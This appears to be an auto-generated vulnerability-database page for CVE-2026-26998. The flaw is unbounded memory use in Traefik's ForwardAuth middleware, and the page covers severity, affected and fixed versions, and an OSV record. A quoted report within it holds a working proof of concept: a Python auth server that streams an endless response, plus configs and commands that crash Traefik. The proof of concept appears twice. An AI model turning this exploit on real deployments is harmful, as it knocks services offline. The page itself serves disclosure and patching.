CVE-2026-26998: Github.com/traefik/traefik/v2 Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-fw45-f5q2-2p4x
CVSS 4.4
CWE-770
Published
Advisory Summary

CVE-2026-26998 is a MODERATE (CVSS 4.4) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/traefik/traefik/v2 libraries in the Go ecosystem. The issue involves traefik has unbounded io.readall on auth server response body that causes oom dos. Remediation is available by upgrading affected packages to version 2.11.38, 3.6.9.

CVE-2026-26998 at a Glance

CVE Identifier CVE-2026-26998
GHSA Identifier GHSA-fw45-f5q2-2p4x
Severity MODERATE
CVSS v3.1 Base Score 4.4
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Github.com/traefik/traefik/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-26998

To remediate this vulnerability, upgrade all affected Github.com/traefik/traefik/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/traefik/traefik/v2 fixed: 2.11.38
Upgrade github.com/traefik/traefik/v2 to 2.11.38
github.com/traefik/traefik/v3 fixed: 3.6.9
Upgrade github.com/traefik/traefik/v3 to 3.6.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/traefik/traefik/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-26998, inspect your project dependencies for Github.com/traefik/traefik/v2:

inspect dependencies for github.com/traefik/traefik/v2

Analyze the terminal output to locate any version of Github.com/traefik/traefik/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.38), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/traefik/traefik/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Impact There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses. When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no `maxResponseBodySize` configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process. This results in a denial of service for all routes served by the affected Traefik instance. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9 ## Workarounds No workaround available. ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). --- <details> <summary>Original Description</summary> ### Summary The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint. ### Details In pkg/middlewares/auth/forward.go, line 213: body, readError := io.ReadAll(forwardResponse.Body) When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed. Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94): logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...") However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window. | Direction | Protection | Code | |-----------|-----------|------| | Request body to auth server | maxBodySize config + warning log | forward.go:85-95 | | Auth server response to Traefik | None | forward.go:213 | ### PoC 1. Create a malicious auth server (auth_infinite.py): from http.server import BaseHTTPRequestHandler, HTTPServer class InfiniteAuth(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Transfer-Encoding", "chunked") self.end_headers() chunk = b"A" * (64 * 1024) try: while True: self.wfile.write(f"{len(chunk):x}\r\n".encode()) self.wfile.write(chunk + b"\r\n") self.wfile.flush() except BrokenPipeError: pass HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serve_forever() 2. Traefik dynamic config (dynamic.yml): http: routers: protected: entryPoints: [web] rule: "PathPrefix('/admin')" middlewares: [auth] service: whoami middlewares: auth: forwardAuth: address: "http://auth:9000/auth" services: whoami: loadBalancer: servers: - url: "http://whoami:80" 3. Docker Compose (docker-compose.yml): services: traefik: image: traefik:v3.6 command: - --entrypoints.web.address=:8000 - --providers.file.filename=/etc/traefik/dynamic.yml ports: - "8000:8000" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro deploy: resources: limits: memory: 512M depends_on: [auth, whoami] auth: image: python:3.12-slim command: ["python", "/app/auth_infinite.py"] volumes: - ./auth_infinite.py:/app/auth_infinite.py:ro whoami: image: traefik/whoami:v1.11 4. Reproduce: docker compose up -d docker stats --no-stream traefik # ~14 MiB curl -s -o /dev/null http://localhost:8000/admin docker inspect traefik --format '{{.State.OOMKilled}}' # true docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL) Observed results: | Scenario | Memory | |----------|--------| | Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) | | 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) | | 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) | | 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds | After OOM kill, all routes on the entrypoint become unreachable — complete service outage. ### Impact This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint. Realistic attack scenarios include: - Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers) - Compromised or buggy auth servers that return unexpected large responses - Defense in depth: even trusted auth servers should not be able to crash the proxy ### Suggested Fix Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies: const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize) body, readError := io.ReadAll(limitedBody) Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies. </details>

CVE-2026-26998 Affected Github.com/traefik/traefik/v2 Versions

2 component(s)
Fixed Versions:
2.11.383.6.9
Product / Package Ecosystem Affected Versions Fixed Version
github.com/traefik/traefik/v2
Go
< 2.11.38
2.11.38
github.com/traefik/traefik/v3
Go
< 3.6.9
3.6.9

References

Frequently Asked Questions

What is CVE-2026-26998?
CVE-2026-26998 is a security vulnerability in Github.com/traefik/traefik/v2 involving Traefik has unbounded io.ReadAll on auth server response body that causes OOM DOS under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/traefik/traefik/v2 versions are affected?
Affected versions include releases prior to 2.11.38, 3.6.9 across affected packages: github.com/traefik/traefik/v2, github.com/traefik/traefik/v3.
What version fixes CVE-2026-26998?
Upgrading to 2.11.38, 3.6.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/traefik/traefik/v2 affected?
Yes, github.com/traefik/traefik/v2 is affected in releases prior to 2.11.38. Upgrade your dependency to 2.11.38 or later.
Is github.com/traefik/traefik/v3 affected?
Yes, github.com/traefik/traefik/v3 is affected in releases prior to 3.6.9. Upgrade your dependency to 3.6.9 or later.
What is the CVSS score of CVE-2026-26998?
CVE-2026-26998 has a CVSS v3.1 base score of 4.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-26998?
CVE-2026-26998 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-26998?
Run the dependency tree command: 'inspect dependencies for github.com/traefik/traefik/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fw45-f5q2-2p4x",
  "modified" : "2026-03-05T22:28:55Z",
  "published" : "2026-03-04T18:23:25Z",
  "aliases" : [ "CVE-2026-26998" ],
  "summary" : "Traefik has unbounded io.ReadAll on auth server response body that causes OOM DOS",
  "details" : "## Impact\n\nThere is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.\n\nWhen Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no `maxResponseBodySize` configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.\n\nThis results in a denial of service for all routes served by the affected Traefik instance.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.38\n- https://github.com/traefik/traefik/releases/tag/v3.6.9\n\n## Workarounds\n\nNo workaround available.\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n---\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\n\nThe ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.\n\n### Details\n\nIn pkg/middlewares/auth/forward.go, line 213:\n\n    body, readError := io.ReadAll(forwardResponse.Body)\n\nWhen the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.\n\nTraefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):\n\n    logger.Warn().Msgf(\"ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...\")\n\nHowever, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.\n\n| Direction | Protection | Code |\n|-----------|-----------|------|\n| Request body to auth server | maxBodySize config + warning log | forward.go:85-95 |\n| Auth server response to Traefik | None | forward.go:213 |\n\n### PoC\n\n1. Create a malicious auth server (auth_infinite.py):\n\n    from http.server import BaseHTTPRequestHandler, HTTPServer\n\n    class InfiniteAuth(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(200)\n            self.send_header(\"Transfer-Encoding\", \"chunked\")\n            self.end_headers()\n            chunk = b\"A\" * (64 * 1024)\n            try:\n                while True:\n                    self.wfile.write(f\"{len(chunk):x}\\r\\n\".encode())\n                    self.wfile.write(chunk + b\"\\r\\n\")\n                    self.wfile.flush()\n            except BrokenPipeError:\n                pass\n\n    HTTPServer((\"0.0.0.0\", 9000), InfiniteAuth).serve_forever()\n\n2. Traefik dynamic config (dynamic.yml):\n\n    http:\n      routers:\n        protected:\n          entryPoints: [web]\n          rule: \"PathPrefix('/admin')\"\n          middlewares: [auth]\n          service: whoami\n      middlewares:\n        auth:\n          forwardAuth:\n            address: \"http://auth:9000/auth\"\n      services:\n        whoami:\n          loadBalancer:\n            servers:\n              - url: \"http://whoami:80\"\n\n3. Docker Compose (docker-compose.yml):\n\n    services:\n      traefik:\n        image: traefik:v3.6\n        command:\n          - --entrypoints.web.address=:8000\n          - --providers.file.filename=/etc/traefik/dynamic.yml\n        ports:\n          - \"8000:8000\"\n        volumes:\n          - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n        deploy:\n          resources:\n            limits:\n              memory: 512M\n        depends_on: [auth, whoami]\n      auth:\n        image: python:3.12-slim\n        command: [\"python\", \"/app/auth_infinite.py\"]\n        volumes:\n          - ./auth_infinite.py:/app/auth_infinite.py:ro\n      whoami:\n        image: traefik/whoami:v1.11\n\n4. Reproduce:\n\n    docker compose up -d\n    docker stats --no-stream traefik  # ~14 MiB\n    curl -s -o /dev/null http://localhost:8000/admin\n    docker inspect traefik --format '{{.State.OOMKilled}}'  # true\n    docker inspect traefik --format '{{.State.ExitCode}}'    # 137 (SIGKILL)\n\nObserved results:\n\n| Scenario | Memory |\n|----------|--------|\n| Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) |\n| 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) |\n| 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) |\n| 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |\n\nAfter OOM kill, all routes on the entrypoint become unreachable — complete service outage.\n\n### Impact\n\nThis is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.\n\nRealistic attack scenarios include:\n\n- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers)\n- Compromised or buggy auth servers that return unexpected large responses\n- Defense in depth: even trusted auth servers should not be able to crash the proxy\n\n### Suggested Fix\n\nApply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:\n\n    const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB\n    limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize)\n    body, readError := io.ReadAll(limitedBody)\n\nOptionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.\n\n</details>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.38"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.37"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-fw45-f5q2-2p4x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26998"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.11.38"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.6.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-04T18:23:25Z",
    "nvd_published_at" : "2026-03-05T19:16:05Z"
  }
}